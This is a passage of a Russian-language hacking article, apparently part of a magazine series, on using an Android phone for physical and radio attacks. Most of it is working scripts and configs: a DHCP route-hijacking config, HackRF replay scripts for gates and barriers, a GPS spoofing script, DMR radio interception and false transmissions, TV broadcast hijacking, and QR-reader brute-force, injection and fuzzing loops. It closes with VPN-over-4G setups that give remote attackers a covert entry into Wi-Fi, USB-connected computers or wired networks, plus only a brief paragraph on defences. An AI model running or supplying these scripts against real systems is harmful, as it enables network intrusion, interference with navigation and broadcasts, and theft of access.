Пе­ред ата­кующим может быть как нас­тро­енный, так и не нас­тро­енный Ethernet-интерфейс, поэто­му при­веден­ный выше скрипт про­бует сна­чала скон­фигури­ровать устрой­ство по DHCP, а потом пой­мать пакет с уже наз­начен­ным сетевой кар­те IP-адре­сом. Скрипт про­бует подс­тро­ить­ся под любую адре­сацию — навязан­ную им или уже исполь­зуемую устрой­ством.

Пред­лага­емая кон­фигура­ция по DHCP при этом сле­дующая:

eth/dnsmasq-attack.conf

domain=fake.net

interface=eth0

dhcp-range=11.0.0.100,11.0.0.110,24h

dhcp-option=1,255.255.255.0

dhcp-option=3,11.0.0.1

dhcp-option=6,8.8.8.8,8.8.4.4

dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1

dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1

Этот кон­фиг так­же исполь­зует трюк с перек­рыти­ем мар­шру­тов, вытяги­вая тра­фик дру­гих сетевых интерфей­сов в телефон. В слу­чае успе­ха ата­кующий, ана­логич­но BadUSB-ETH, перек­рыва­ет дру­гие сетевые интерфей­сы и перех­ватыва­ет их тра­фик, а так­же про­веря­ет уяз­вимос­ти, как показа­но на рисун­ке.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #8

В конеч­ном сче­те на устрой­стве будет запущен весь ата­кующий арсе­нал через скрип­ты on_network/on_client, под­робно опи­сан­ные в стать­ях про BadUSB-ETH, Pineapple и Karma. Таким обра­зом, исполь­зуя смар­тфон и любую сетевую кар­ту USB, мы можем добить­ся эффекта устрой­ства Shark Jack.

Сниффинг

Ес­ли же перед ата­кующим не розет­ка Ethernet, а лишь про­вод, он может при­менить к нему полудуп­лек­сное прос­лушива­ние тра­фика, то есть прос­лушива­ние полови­ны тра­фика — либо вхо­дящий, либо исхо­дий. Это уже зна­комая ата­ка, пред­став­ленная в статье «Кро­кок­ряк. Сни­маем тра­фик с витой пары обыч­ными „кро­коди­лами“». К оран­жевой либо зеленой паре под­клю­чают­ся зажимы, а обратный конец идет нап­рямую в сетевую кар­ту USB.

Са­ма ата­ка тре­бует некото­рой лов­кости рук и реали­зует­ся менее чем за минуту.
Са­ма ата­ка тре­бует некото­рой лов­кости рук и реали­зует­ся менее чем за минуту.

SDR

Прог­рам­мное радио (SDR), нап­ример HackRF One, мож­но так­же под­клю­чить к телефо­ну. И в этой ата­ке вновь не тре­буют­ся осо­бые драй­веры. Для базовых фун­кций есть даже мобиль­ное при­ложе­ние.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #10

HackRF — самый дос­тупный полудуп­лек­сный SDR, который поз­воля­ет как при­нимать, так и отправ­лять ради­осиг­нал на час­тотах в боль­шом диапа­зоне — от 1 МГц до 6 ГГц. При этом фор­ма сиг­нала (модуля­ция, ширина канала) пол­ностью зада­ется прог­рам­мно. Это откры­вает огромные воз­можнос­ти для вза­имо­дей­ствия с ради­осиг­налами. Нап­ример, мож­но изу­чить любой ради­осиг­нал, а затем вос­создать его в нуж­ном виде.

Ра­зуме­ется, с телефо­на край­не неудоб­но ресер­чить ради­осиг­нал, ана­лизи­ровать его фор­му, уга­дывать спо­соб кодиро­вания, а потом пытать­ся модули­ровать его обратно из дво­ично­го кода. Оста­вим это для компь­юте­ра. Но некото­рые ради­оата­ки дос­таточ­но прос­ты, хорошо авто­мати­зиро­ваны и могут быть выпол­нены с телефо­на.

Га­раж­ные ворота, сиг­нализа­ции, даже управле­ние авто­мати­кой на пред­при­ятии — вот далеко не пол­ный спи­сок устрой­ств, которые могут быть ата­кова­ны с помощью SDR. Рас­смот­рим некото­рые из самых прос­тых атак.

Replay

Очень прос­той ата­кой, удоб­но реали­зуемой с телефо­на, может быть replay-ата­ка — запись ради­осиг­нала и его пос­леду­ющее вос­про­изве­дение (подоб­но дик­тофону):

sdr/record.sh

#!/bin/bash

[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq

[[ $# -ge 2 ]] && dumpfile="$2" || dumpfile="/sdcard/out-$(date +'%d.%m.%Y_%H:%M:%S').wav"

[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]

echo "$dumpfile"

sudo hackrf_transfer -a 1 -s $RATE -f "$freq" -r "$dumpfile" -l 40 -g 62

sdr/play.sh

#!/bin/bash

[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq

[[ $# -ge 2 ]] && dumpfile="$2" || read -p 'dumpfile: ' dumpfile

[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]

sudo hackrf_transfer -a 0 -s $RATE -f "$freq" -t "$dumpfile" -x 47

sdr/replay.sh

#!/bin/bash

[[ $# -ge 1 ]] && freq="$1" || read -p 'freq: ' freq

dumpfile="/sdcard/out-$(date +'%d.%m.%Y_%H:%M:%S').wav"

[ -z "$RATE" ] && RATE=$[2 * 1000 * 1000]

./record.sh "$freq" $dumpfile

read -p 'replay?' continue

./play.sh "$freq" $dumpfile

Пе­реда­ча ради­осиг­нала, как пра­вило, никак не огра­ничи­вает­ся в прос­транс­тве. Если ради­осиг­нал не содер­жит крип­тогра­фичес­ких фун­кций или меня­ющих­ся пос­ледова­тель­нос­тей, то он может быть записан и вос­про­изве­ден ата­кующим в нуж­ный момент.

От­кры­тие шлаг­баума — это одна из самых безобид­ных и прос­тых вещей, которые мож­но сде­лать подоб­ным обра­зом.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #11

И далее ата­кующий уже сам может управлять тех­никой.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #12

Ес­ли подоб­ные вещи мож­но про­делы­вать с про­мыш­ленной тех­никой, то это уже не выг­лядит как прос­тая забава. Ана­логич­но для более слож­ных ради­оатак может быть запущен заранее при­готов­ленный gnuradio-скрипт. Нап­ример, для уго­на ради­оуп­равля­емой тех­ники.

GPS spoofing

Ра­диосиг­нал со спут­ника, по мощ­ности сопос­тавимый с обыч­ной лам­пой накали­вания, доходя до зем­ли с высоты 20 тысяч километ­ров зна­читель­но осла­бева­ет, и его мощ­ность ста­новит­ся в 100 раз ниже уров­ня ради­ошу­ма. Это дает хорошую тех­ничес­кую воз­можность перебить и под­делать сиг­нал даже не самым мощ­ным обо­рудо­вани­ем.

Спут­ники сис­темы GPS были запуще­ны в кос­мос поч­ти пол­века тому назад. В те вре­мена люди еще не думали о компь­ютер­ной безопас­ности, а сей­час спут­ники уже не вер­нешь. С помощью SDR ата­кующий может под­делать сиг­нал от спут­ников GPS и вмес­те с ним задать про­изволь­ную текущую коор­динату:

sdr/gps/spoofing.sh

#!/bin/bash

trap 'echo interrupted' INT

[[ $# -ge 1 ]] && lat="$1" || read -p 'latitude: ' lat

[[ $# -ge 2 ]] && lon="$2" || read -p 'longitude: ' lon

DURATION=$[2*60]

RATE=2600000

FREQ=1575420000

/opt/gps-sdr-sim/gps-sdr-sim -b 8 -d $DURATION -e /opt/gps-sdr-sim/brdc0010.22n -o /sdcard/gpssim.bin -l $lat,$lon,0

sudo hackrf_transfer -a 0 -s $RATE -f $FREQ -t /sdcard/gpssim.bin -x 20 -R

#git clone https://github.com/osqzss/gps-sdr-sim; cd gps-sdr-sim; make

В качес­тве при­мера с рас­сто­яния нес­коль­ких мет­ров телефон телепор­тиру­ется в Дубай.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #13

На самом деле геопо­зици­они­рова­ние сов­ремен­ных мобиль­ных телефо­нов дос­таточ­но умное и выпол­няет­ся не толь­ко по спут­никовым сис­темам, где, помимо GPS, есть еще ГЛО­НАСС, Galileo и BeiDou, но и по назем­ным источни­кам сиг­налов — сотовым выш­кам, точ­кам дос­тупа Wi-Fi и встро­енным дат­чикам. А сов­ремен­ное прог­рам­мное обес­печение уме­ет опре­делять попыт­ки «телепор­тации», поэто­му сдви­гать локацию луч­ше плав­но по нес­коль­ку сотен мет­ров.

За­то авто­ном­ные GPS-модули более под­верже­ны такой ата­ке. Позици­они­рова­ние в квад­рокоп­терах или тех­нике посерь­езнее не руководс­тву­ется назем­ными источни­ками сиг­налов, которых в воз­духе или море осо­бо‑то и нет.

Им­пакт от под­делки коор­динат может быть самый раз­нооб­разный, начиная авто­мати­чес­кой посад­кой и уго­ном дро­нов и закан­чивая воз­дей­стви­ем на более вну­шитель­ные тран­спортные средс­тва. Нап­ример, зло­умыш­ленник, плы­вущий на кораб­ле, который дви­жет­ся на авто­пило­те и ори­енти­рует­ся по спут­никам, теоре­тичес­ки впол­не может, манипу­лируя с GPS, зас­тавить его повер­нуть в любую сто­рону.

Во­обще, по GPS син­хро­низи­рует­ся сна­чала не мес­тополо­жение, а вре­мя. И вре­мя тоже мож­но под­делать. Если уста­новить неп­равиль­ное вре­мя, на уяз­вимом устрой­стве лома­ется весь SSL-тра­фик, что при некото­рых обсто­ятель­ствах может при­вес­ти к отка­зу в обслу­жива­нии.

DMR decode

Дру­гим при­мером исполь­зования SDR может быть перех­ват перего­воров c исполь­зовани­ем раций. Мно­гие рации переда­ют голос откры­то, не обес­печивая никако­го скрем­бли­рова­ния. Мно­гие, полагаю, слы­шали чужие перего­воры на дешевых китай­ских раци­ях.

Для перех­вата перего­воров ата­кующий может выб­рать откры­тый диапа­зон час­тот, на котором работа­ет боль­шинс­тво раций, — око­ло 433 МГц — и выс­тавить FM-демоду­ляцию.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #14

Мно­гие SDR уме­ют еще и переда­вать сиг­налы. Исполь­зуя gnuradio-схе­му на рисун­ке ниже, ата­кующий может отпра­вить ауди­осооб­щение на такую рацию.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #15

С при­мене­нием такой схе­мы мож­но отправ­лять сиг­налы не толь­ко в рацию, но и на обыч­ные FM-ради­опри­емни­ки, вме­шива­ясь в ради­оэфир.

Не все рации переда­ют голос в откры­том виде. Те, в которых исполь­зует­ся кодиро­вание, тоже могут быть прос­лушаны:

apt install pulseaudio-utils

git clone https://github.com/szechyjs/dsd; cd dsd; cmake --build build

socat udp-listen:7355 - | padsp /opt/dsd/build/dsd -i - -o /dev/dsp

На прак­тике мне встре­чались рации, в нас­трой­ках которых было акти­виро­вано скрем­бли­рова­ние, одна­ко голос они все рав­но переда­вали в откры­том виде.

Как это может при­менить зло­умыш­ленник? Пред­ставь, что охра­на исполь­зует рации для коор­динации сво­их дей­ствий. Потен­циаль­ный зло­дей, жела­ющий про­ник­нуть на зак­рытую тер­риторию, что­бы раз­местить там свою аппа­рат­ную зак­ладку, может таким обра­зом прос­лушивать перего­воры охра­ны. А какой эффект он получит, если отпра­вит охранни­кам лож­ное сооб­щение?

TV spoofing

Те­леви­зион­ный сиг­нал так­же мож­но ата­ковать с помощью SDR-устрой­ств. В зависи­мос­ти от типа телеве­щания зло­умыш­ленник может вос­поль­зовать­ся спе­циаль­ным откры­тым ПО и сге­нери­ровать модули­рован­ный сиг­нал, заг­лушив им ори­гиналь­ный источник телет­ран­сля­ции. Прав­да, сто­ит иметь в виду локаль­ный харак­тер ата­ки, пок­рыва­ющий отно­ситель­но неболь­шую тер­риторию. Но учи­тывая, что ата­ка может выпол­нять­ся с помощью все­го лишь двух кар­манных устрой­ств (HackRF и телефо­на), зло­умыш­ленник в сос­тоянии ком­пенси­ровать этот недос­таток, подой­дя мак­сималь­но близ­ко к целям.

Аналоговое ТВ

Ис­поль­зуя SDR и сле­дующее ПО, мож­но модули­ровать любой виде­офайл в сиг­нал ана­лого­вого ТВ:

git clone https://github.com/fsphil/hacktv

hacktv -o output.bin -f 512000000 -s 8000000 -m ntsc input.mp4

hackrf_transfer -a 0 -s 8000000 -f 512000000 -t output.bin -x 47

Цифровое эфирное ТВ (DVB-T)

Ис­поль­зуя SDR и сле­дующее ПО, мож­но модули­ровать любой виде­офайл в сиг­нал циф­рового эфир­ного ТВ:

git clone https://github.com/drmpeg/dtv-utils

ffmpeg -i test.mp4 -vcodec copy -c:v 'mpeg2video' in.mp4

python3 dvbt-blade.py -f 674000000 in.mp4

Цифровое спутниковое ТВ (DVB-S)

Точ­но так же зло­умыш­ленник может пос­тупить и со спут­никовым ТВ, тран­сли­руя с помощью дос­тупно­го ПО любой виде­офайл:

git clone https://github.com/drmpeg/gr-dvbs

./dvbs_tx_hackrf.py

Воз­можность под­делать теле- и ради­осиг­нал может иметь весь­ма вну­шитель­ный импакт. Вооб­ще, тема исполь­зования SDR неверо­ятно обширная и зас­лужива­ет отдель­ной кни­ги. Здесь же я при­вожу лишь нес­коль­ко самых прос­тых и извес­тных атак, реали­зация которых не тре­бует дол­гой нас­трой­ки.

QR

Мо­биль­ный телефон удоб­но исполь­зовать для атак на QR-счи­тыва­тели.

С QR-кодами ата­кующий может сде­лать, в общем‑то, немало:

  • брут­форс, что­бы обой­ти про­вер­ку;
  • фаз­зинг, что­бы выз­вать ошиб­ку, отказ в обслу­жива­нии или даже внед­рить какой‑то код;
  • injection, внед­рить SQL-инъ­екцию или сис­темный код ОС.

Сге­нери­ровать QR-код для чего угод­но мож­но с помощью соот­ветс­тву­ющей Python-биб­лиоте­ки и кон­соли:

pip3 install qrcode

qr --ascii "test" # Для текстовых данных

cat data.bin | qr --ascii # Для двоичных данных

Что­бы сге­нерить QR-код пря­мо в кон­соли в инте­рак­тивном режиме или при­нимая дан­ные от дру­гих скрип­тов, мож­но исполь­зовать неболь­шой сце­нарий:

qr/encode.sh

#!/bin/bash

clear

qr 2> /dev/null

Все, что он дела­ет, — пред­варитель­но очи­щает экран, что­бы код рисовал­ся на одной и той же области дис­плея телефо­на. Пос­ле это­го генерит QR-код, ожи­дая дан­ные в sdtin.

Но если ата­кующий собира­ется что‑то фаз­зить или бру­тить, то ему нужен эта­лон­ный обра­зец дан­ных из QR-кода. Для декоди­рова­ния про­ще все­го исполь­зовать любое мобиль­ное при­ложе­ние, спе­циаль­но пред­назна­чен­ное для это­го. Некото­рые телефо­ны уме­ют это делать даже встро­енной камерой. Но для фанатов кон­соли и авто­мати­зации мож­но вос­поль­зовать­ся Linux-рас­позна­вал­кой QR-кодов:

qr/decode.sh

#!/bin/bash

[[ $# -ge 1 ]] && out="$1" || out='data'

CAM=0

photo=$(~/android/camera.sh $CAM)

convert "$photo" -resize '20%' /tmp/qr.jpg

if zbarimg --raw --oneshot -Sbinary /tmp/qr.jpg > "$out" 2> /dev/null

then

xxd < "$out"

echo '' >> "$out"

fi

rm /tmp/qr.jpg

rm "$photo"

Скрипт, исполь­зуя Termux-API, дела­ет сни­мок камерой, сжи­мает изоб­ражение и выпол­няет рас­позна­вание с помощью ути­литы zbarimg. Для даль­нейше­го исполь­зования рас­кодиро­ван­ные дан­ные сох­раня­ются в файл.

Да­лее, задей­ство­вав прос­тей­ший цикл на Bash, мож­но запус­тить уже перебор некото­рых зна­чений, зашиф­рован­ных в QR-коде:

qr/brute.sh

#!/bin/bash

[[ $# -ge 1 ]] && iters="$1" || iters=100

for ((i=0; i<$iters; i++))

do cat data | sed -rn "s/.$/$i/p" | encode.sh

done

Та­кой код прос­то меня­ет пос­ледний сим­вол от 0 до 100.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #16

Те­оре­тичес­ки впол­не допус­тимо, что сис­тема для кон­тро­ля дос­тупа руководс­тву­ется поряд­ковыми номера­ми. Зло­умыш­ленник, сфо­тог­рафиро­вав чей‑то QR-код, может поп­робовать переб­рать такие поряд­ковые номера в надеж­де уга­дать код и обой­ти тем самым кон­троль дос­тупа.

Час­то быва­ет, что в QR-коде зашиф­рована обыч­ная URL-стро­ка или ее фраг­мент. Нап­ример, поч­ти во всех магази­нах мож­но встре­тить вот такие тер­миналы, ожи­дающие иден­тифика­тор товара.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #17

Та­кие тер­миналы — потен­циаль­ная точ­ка про­ник­новения: дан­ные, которые вво­дят­ся пос­редс­твом кодиров­ки QR, могут небезо­пас­но под­став­лять­ся в базы дан­ных и быть уяз­вимы к SQL-инъ­екци­ям или к пря­мому внед­рению команд ОС.

С помощью сле­дующе­го нехит­рого скрип­та мож­но прог­нать какой‑нибудь сло­варь, узко заточен­ный под ту или иную уяз­вимость.

qr/injection.sh

#!/bin/bash

[[ $# -ge 1 ]] && wordlist="$1" || read -p 'wordlist: ' wordlist

TIMEOUT=0.5

cat "$wordlist" | while read payload

do

echo -n "$(cat data)${payload}" | encode.sh

sleep $TIMEOUT

done

Что каса­ется товаров, то обыч­но в QR-коде зашиф­ровано толь­ко зна­чение, а не весь URL целиком, поэто­му скрипт прос­то дописы­вает payload в кон­це. Впро­чем, в QR-коде может быть зашиф­ровано вооб­ще что угод­но — URL или длин­ная hex-стро­ка.

Слег­ка изме­нив цикл, мож­но запус­тить мутаци­онный фаз­зинг с помощью radamsa:

qr/fuzz.sh

#!/bin/bash

MAX_SIZE=200

TIMEOUT=0.5

out=_$RANDOM

mkdir $out

for ((i=1; i>0; i++))

do

cat data | radamsa -n 1 | cut -b 1-$MAX_SIZE > $out/$i

./encode.sh < $out/$i

sleep $TIMEOUT

done

Фаз­зер radamsa слу­чай­ным обра­зом иска­жает эта­лон­ные дан­ные в исходном QR-коде. Он уме­ет рас­позна­вать прос­тей­шие струк­туры, такие как стро­ки и чис­ла, а так­же име­ет мощ­ный мутаци­онный дви­жок и выпол­няет тес­тирова­ние на ошиб­ки при работе как с тек­сто­выми дан­ными или юни­кодом, так и с дво­ичны­ми дан­ными. Это откры­вает ата­кующе­му воз­можность все­го за нес­коль­ко секунд прис­тупить к фаз­зинг‑тес­тирова­нию, даже не вни­кая в под­робнос­ти типов дан­ных, зашиф­рован­ных в QR-коде.

На рисун­ке ниже наг­лядно показа­но, как QR-счи­тыва­тель начина­ет при­нимать иска­жен­ные дан­ные.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #18

На одном из вен­динго­вых авто­матов по про­даже еды подоб­ным фаз­зингом уда­лось добить­ся выпол­нения про­изволь­ной коман­ды ОС и выз­вать каль­кулятор, пред­варитель­но повер­нув экран на 90° и спро­воци­ровав нес­коль­ко оши­бок в ПО.

POST

Те­лефон мож­но исполь­зовать не толь­ко для атак, но и как средс­тво пре­дос­тавле­ния дос­тупа. Нап­ример, сидя на ресеп­шене, ата­кующий может рас­шарить через VPN свой mon-интерфейс для атак на Wi-Fi, тем самым пре­дос­тавив дос­туп к бес­про­вод­ным сетям напар­никам, ведь им с ноут­бука работать все рав­но удоб­нее. Это, кста­ти, уже было про­демонс­три­рова­но в статье «Гроз­ный ана­нас. Собира­ем и при­меня­ем свой Wi-Fi Pineapple».

Бо­лее того, так как телефон име­ет встро­енный 4G, он может исполь­зовать­ся еще и как шлюз для скры­того под­клю­чения к ата­куемой сети. В этом слу­чае с помощью VPN, откры­того через 4G на телефо­не, мож­но орга­низо­вать линк в ата­куемую сеть из любой точ­ки мира.

Сна­чала тре­бует­ся нас­тро­ить на телефо­не сам VPN. Про­ще все­го его реали­зовать с помощью OpenVPN. Для мак­сималь­ного удобс­тва мар­шру­тиза­ции луч­ше исполь­зовать L2-тун­нель (tap). Такой тун­нель поз­воля­ет ата­кующим находить­ся на рас­сто­янии одно­го хопа для удобс­тва мар­шру­тиза­ции. Одна­ко соот­ветс­тву­ющее при­ложе­ние для Android не пре­дос­тавля­ет воз­можнос­ти исполь­зовать тун­нель в фор­ме L2. Но его под­дер­жка при­сутс­тву­ет в ядре, и его мож­но исполь­зовать, прос­то добавив соот­ветс­тву­ющее сим­воль­ное устрой­ство:

vpn.sh

#!/bin/bash

if [ ! -r /dev/net/tun ]; then

sudo mkdir /dev/net

sudo mknod /dev/net/tun c 10 200

fi

set -m

sudo openvpn --config ~/vds.ovpn --route-noexec &

while ! ip r | grep tap0; do sleep 1; done

table=$(ip r show table all|grep tap0|grep table|grep -v local|head -n 1|cut -d ' ' -f 5)

sudo ip r add 172.16.0.0/24 dev tap0 table $table

sudo ip rule add to 172.16.0.0/24 lookup $table

echo "tap0 table: $table"

#sudo ip r add 192.168.0.0/16 via 172.16.0.30 table $table

#sudo ip rule add to 192.168.0.0/16 lookup $table

fg %

sudo ip rule del to 172.16.0.0/24 lookup $table

Ис­поль­зование такого тун­неля упро­щает даль­нейшую мар­шру­тиза­цию к сетям или устрой­ствам, к которым под­клю­чен хакер­ский телефон.

Те­перь чуть более под­робно рас­ска­жу о каж­дом сце­нарии.

POST-wlan

Пос­мотрим, как может быть выпол­нена орга­низа­ция уда­лен­ного дос­тупа к Wi-Fi через телефон.

Все, что нуж­но сде­лать, — это нем­ного изме­нить мар­шру­тиза­цию на телефо­не, что­бы пакеты с VPN начали заходить в ата­куемый Wi-Fi. На Android мар­шру­тиза­ция не про­писы­вает­ся в дефол­тную таб­лицу main, как это обыч­но быва­ет. Вмес­то это­го для каж­дого интерфей­са авто­мати­чес­ки фор­миру­ется своя таб­лица (ip r show table all), для свя­зи с которой соз­дает­ся допол­нитель­ный набор пра­вил (ip rule show all). Эти пра­вила час­то вклю­чают усло­вия мар­киров­ки пакетов при помощи встро­енно­го фай­рво­ла, с исполь­зовани­ем еще более гиб­ких пра­вил (iptables -t mangle -vnL).

В ито­ге это все та же мар­шру­тиза­ция Linux, но силь­но раз­битая по таб­лицам, что нем­ного усложня­ет понима­ние общей кар­тины. Но все, что тре­бует­ся знать, — какой номер таб­лицы у нуж­ного интерфей­са. Затем нуж­но добавить в эту таб­лицу необ­ходимые мар­шру­ты и про­писать для них соот­ветс­тву­ющее пра­вило, ука­зыва­ющее на эту таб­лицу:

wifi/gw.sh

#!/bin/bash

table=$(ip r show table all | grep wlan0 | grep table | grep -v local | head -n 1 | cut -d ' ' -f 7)

sudo ip rule add iif tap0 lookup $table

sudo sysctl -w net.ipv4.ip_forward=1

sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o wlan0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE

sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP

Те­перь, прос­то под­клю­чив­шись по Wi-Fi к целевой сети, телефон зло­умыш­ленни­ка ста­нет шлю­зом для его кол­лег, которые могут занять­ся даль­нейшим прод­вижени­ем, пока тот безобид­но сидит в хол­ле или идет по тер­ритории, пре­одо­лев кон­троль­но‑про­пус­кной пункт. На уда­лен­ном ком­пе нуж­но лишь ука­зать мар­шрут до инте­ресу­ющей сети через IP-адрес телефо­на на VPN:

route add -net 192.168.0.0/16 gw $mobile

POST-usb

Под­клю­чив телефон по USB к компь­юте­ру, зло­умыш­ленник может получить к нему скры­тый сетевой дос­туп, акти­виро­вав уже извес­тные по BadUSB-ETH USB-гад­жеты. Для это­го тре­бует­ся изме­нить мар­шру­тиза­цию телефо­на для про­хож­дения пакетов от VPN в сто­рону компь­юте­ра по USB:

badusb/eth/gw.sh

#!/bin/bash

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none /sys/kernel/config; fi

cd /sys/kernel/config/usb_gadget/g1

echo 0xff88|sudo tee idProduct

echo 0x2717|sudo tee idVendor

echo 549839c4 | sudo tee strings/0x409/serialnumber

echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration

sudo ln -s functions/gsi.rndis configs/b.1/f2

echo "" | sudo tee UDC

echo `ls -1 /sys/class/udc/ | head -1` | sudo tee UDC

ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"

cd -

sleep 1

sudo ifconfig rndis0 up

sudo dnsmasq --conf-file=dnsmasq.conf -p0

sudo tcpdump -i rndis0 -nn -c 1 # waiting a connection

sleep 1

sudo ifconfig rndis0 up

sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0

sudo ip r add 192.168.42.0/24 dev rndis0 table 97

sudo ip rule add to 192.168.42.0/24 lookup 97

#sudo ip rule add from all iif lo oif rndis0 lookup 97

sudo sysctl -w net.ipv4.ip_forward=1

sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE

sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP

read -p 'press Enter when finish' stop

sudo iptables -A tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP

sudo iptables -t nat -D tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE

sudo killall dnsmasq

#sudo ip rule del from all iif lo oif rndis0 lookup 97

sudo ip rule del to 192.168.42.0/24 lookup 97

Здесь запус­кает­ся эму­ляция сети по USB. Далее комп зап­рашива­ет у телефо­на нас­трой­ки сети по DHCP, и в этот момент нуж­но выдать ему скры­тую кон­фигура­цию без ука­зания шлю­за, что­бы не нарушить изна­чаль­ную мар­шру­тиза­цию:

badusb/eth/dnsmasq.conf

domain=fake.net

interface=rndis0

dhcp-range=192.168.42.100,192.168.42.110,24h

dhcp-option=1,255.255.255.0

Те­перь с помощью такого телефо­на, под­клю­чен­ного по USB, через VPN мож­но получить уда­лен­ный сетевой канал до компь­юте­ра и вос­поль­зовать­ся этим для раз­вития пос­леду­ющих атак или кон­тро­ля над компь­юте­ром.

По­доб­ного эффекта, но в ином форм‑фак­торе мож­но так­же добить­ся с помощью 4G-модема, опи­сан­ного в статье «Опас­ный модем. Зак­репля­емся в ата­кован­ной сис­теме при помощи USB-модема».

POST-ETH

Ана­логич­но мож­но исполь­зовать телефон и для пре­дос­тавле­ния уда­лен­ного дос­тупа к локаль­ной сети по про­воду. Ранее в этой статье уже рас­смат­ривались вари­анты исполь­зования внеш­него Ethernet-адап­тера. При­веден­ный ниже скрипт нем­ного перекон­фигури­рует сетевые нас­трой­ки телефо­на так, что­бы тра­фик с VPN-интерфей­са мог пой­ти в под­клю­чен­ный Ethernet-адап­тер:

eth/gw.sh

#!/bin/bash

vpn=$(ip r|grep -e tun0 -e tap0|grep src|cut -d ' ' -f 3)

table=$(ip r show table all|grep eth0|grep table|grep -v local|head -n 1|cut -d ' ' -f 5)

#sudo ip r add 192.168.0.0/16 via 192.168.9.1 table $table

#sudo ip rule add to 192.168.0.0/16 lookup $table

sudo ip rule add iif $vpn lookup $table

sudo sysctl -w net.ipv4.ip_forward=1

sudo iptables -t nat -A tetherctrl_nat_POSTROUTING -o eth0 -s 0.0.0.0/0 -d 0.0.0.0/0 -j MASQUERADE

sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP

Зак­репле­ние может выг­лядеть так, как показа­но на рисун­ке ниже.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #19

Тот, кто получа­ет подоб­ный дос­туп в локаль­ную сеть через телефон, работа­ет с куда боль­шим ком­фортом, чем сам зло­умыш­ленник с телефо­ном без физичес­кой кла­виату­ры. Но нич­то не меша­ет под­клю­чить ее и исполь­зовать смар­тфон для пол­ноцен­ных атак в локаль­ной сети уже самос­тоятель­но, пря­мо с мобилы.

Да­же если у внут­ренне­го наруши­теля нет ноут­бука, но есть телефон, то он ничуть не менее опа­сен.

Выводы

Ре­аль­ный взлом со смар­тфо­на или любого дру­гого устрой­ства может не отли­чать­ся от того, что показа­но в играх или в кино. Единс­твен­ное отли­чие — вре­мя, которое занима­ет ата­ка. В зависи­мос­ти от слож­ности реаль­ной сис­темы, для про­ник­новения могут пот­ребовать­ся часы, дни или даже месяцы. Тем не менее любая из пред­став­ленных атак осу­щес­тви­ма.

В этой статье и в матери­але «Ки­бер­фон. Прев­раща­ем телефон на Android в инс­тру­мент хакера» наг­лядно про­демонс­три­рова­но, что зло­умыш­ленник с телефо­на может реали­зовать не толь­ко общие ата­ки, но и спе­цифич­ные, вос­про­изво­димые толь­ко с телефо­на или спе­циаль­ного обо­рудо­вания. Сама по себе эта статья не про ата­ки, а про их реали­зацию на самой неп­римет­ной плат­форме — телефо­не. Сущес­тву­ет ли какая‑то защита от этих атак, если телефон сей­час есть абсо­лют­но у каж­дого?

Ког­да ты защища­ешь какой‑то кри­тич­ный объ­ект, воз­можно, будет нелиш­ним огра­ничить исполь­зование телефо­нов. Таким обра­зом, меры защиты от подоб­ных атак сво­дят­ся к физичес­кому кон­тро­лю дос­тупа пос­торон­них лиц, а так­же к огра­ниче­нию исполь­зования телефо­на в тех зонах, где рас­положе­ны кри­тич­ные объ­екты информа­цион­ной инфраструк­туры.

Этой стать­ей мы зак­рыва­ем серию пуб­ликаций, пос­вящен­ных при­емам взло­ма и физичес­ким ата­кам с исполь­зовани­ем под­ручных устрой­ств. Цикл, начатый в янва­ре это­го года и воп­лощен­ный в десят­ке ста­тей, зат­ронул мно­жес­тво при­меров атак и устрой­ств.

Продвинутый киберфон: заряжаем телефон хакерской силой, image #20

Из­началь­но, опи­раясь лишь на обще­дос­тупные устрой­ства, изоб­ражен­ные в цен­тре гра­фа, зло­умыш­ленник прев­раща­ет их в хакер­ские инс­тру­мен­ты. И далее каж­дый из них с исполь­зовани­ем той или иной тех­нологии дает ему воз­можность раз­вивать необ­ходимые ата­ки. В ито­ге подоб­ным обра­зом дос­тига­ются самые раз­нооб­разные эффекты: от безобид­ного отка­за в обслу­жива­нии до пол­ного кон­тро­ля над целью.

На про­тяже­нии все­го цик­ла ста­тей мы ни разу не вос­поль­зовались для атак ноут­буком и тем самым про­демонс­три­рова­ли, что компь­ютер — далеко не единс­твен­ный инс­тру­мент потен­циаль­ного зло­умыш­ленни­ка.

Источник

1412 views·24 shares